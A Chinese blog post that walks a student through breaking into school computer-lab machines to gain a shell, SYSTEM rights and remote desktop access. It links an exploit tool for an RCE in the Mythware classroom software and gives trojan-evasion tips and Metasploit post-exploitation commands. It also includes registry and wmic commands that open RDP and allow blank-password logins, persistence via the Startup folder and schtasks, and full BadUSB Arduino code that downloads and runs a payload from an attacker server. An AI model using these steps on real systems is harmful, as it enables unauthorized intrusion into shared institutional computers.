如何黑掉机房任意电脑?
ps:老师讲课太无聊了,写一下机房渗透测试的几种思路,并进行实战演示。有什么问题,可以留言,欢迎各位大佬来指正。
实现目标:
- 获取shell
- 获取system权限
- 建立远程桌面连接
思路一:找系统漏洞
1、用cmd命令查看系统版本:winver
发现系统版本是win10的21H2,找一下有没有相关的RCE(远程命令执行)漏洞。
由于我们学校机房系统版本较新,暂时没发现有可以直接利用的RCE漏洞。
如果系统为win10的1903或者1909版本,可能存在“永恒之黑漏洞” CVE-2020-0796。
这是一个远程命令执行漏洞,可以通过该漏洞直接获取system权限。
或者自己可以搜一下目标机系统有没有CVE漏洞,找Poc进行利用攻击。
参考:【漏洞复现】CVE-2020-0796永恒之黑漏洞复现_cve-2020-0796复现-CSDN博客
思路二:找系统中的软件漏洞
1、查看一下系统的教学软件。
发现使用的是极域的2016版本
那么接下来就好办了,该软件的学生端存在一个RCE漏洞,通过这个漏洞可以让学生端执行任意的cmd命令。
2、利用极域漏洞进行攻击
基于该漏洞我用python写了一个图形化的利用工具,可以直接向目标机上传指定的文件运行。
如果你的极域版本是极域2022也可以使用该软件进行攻击。
该软件已开源,GitHub:xxue888/fanjiyu-3.0: X反极域工具3.0 (github.com)
将自己的木马放到C盘,选择木马文件,进行上传。
MSF或CS的使用这里就不多讲了,自己搜着看吧,如果目标系统上有杀毒软件,要对木马做一个免杀处理。(可以使用RC4对称加密对shellcode进行加密处理)
msf监听:
上传木马文件:
目标上线:
使用CS连接也可以
3、msf后渗透
提权:getsystem
进入shell、解决乱码 chcp 65001
开启远程桌面
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
解除空密码登录限制
reg add "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa" /v LimitBlankPasswordUse /t reg_dword /d 0 /f
进行远程连接:win+r 输入mstsc
学校机房一般都不设置密码,如果有密码,可以使用mimikatz来获取密码。
后门创建(cmd命令)
1、将木马加入启动文件夹
move "C:\server\x.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"
2、创建登录计划任务
schtasks /create /sc onlogon /tn "server" /tr "C:\server\x.exe" /f
这里要注意你使用的木马路径。
思路三:物理攻击(制作badusb)
向目标机插入特征usb,自动下载木马并打开,一般需要一个服务器来下载你的木马。
感兴趣的话可以在淘宝买一个badusb,通过Arduino IDE 进行烧录,这里自己研究怎么烧录吧。
可以参考下方文章研究学习。
以下是我烧录使用的代码:
#include<Keyboard.h>
void setup() {
// put your setup code here, to run once:
Keyboard.begin();//开始键盘通讯
delay(500);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(200);
Keyboard.press('r');//r键
delay(300);
Keyboard.release(KEY_LEFT_GUI);//释放win 键
Keyboard.release('r');//释放R键
//Keyboard.press(KEY_CAPS_LOCK);//切换大小写,绕过输入法
//Keyboard.release(KEY_CAPS_LOCK);
Keyboard.println("cmd ");
delay(300);
Keyboard.release(KEY_RETURN);//按下回车键
delay(1000);
Keyboard.println("powershell ");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(250);
Keyboard.println("$clnt = new-object System.Net.WebClient; ");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(250);
Keyboard.println("$url= 'http://192.168.1.102/x.exe'; ");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(250);
Keyboard.println("mkdir C:\\server ");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(250);
Keyboard.println("$file = 'C:\\server\\server.exe'; ");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("$clnt.DownloadFile($url,$file); ");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("START C:\\server\\server.exe ");
Keyboard.press(KEY_RETURN);
delay(250);
Keyboard.release(KEY_RETURN);
delay(250);
Keyboard.println("exit");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(250);
Keyboard.println("exit");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(250);
Keyboard.end();//结束键盘通讯
}
void loop() {
// put your main code here, to run repeatedly:
}
参考文章:
Badusb制作及使用(渗透windows)-CSDN博客
BadUSB超详细制作, 实现CobaltStrike远控上线 - 亨利其实很坏 - 博客园 (cnblogs.com)
目标主机上线后,使用前面的方法进行后渗透即可。
注:本文章仅限于安全研究,切勿非法利用,一切后果由本人承担。
标签:实战,RETURN,渗透,delay,按下,机房,KEY,Keyboard,回车键 From: https://blog.csdn.net/hg885210/article/details/139258952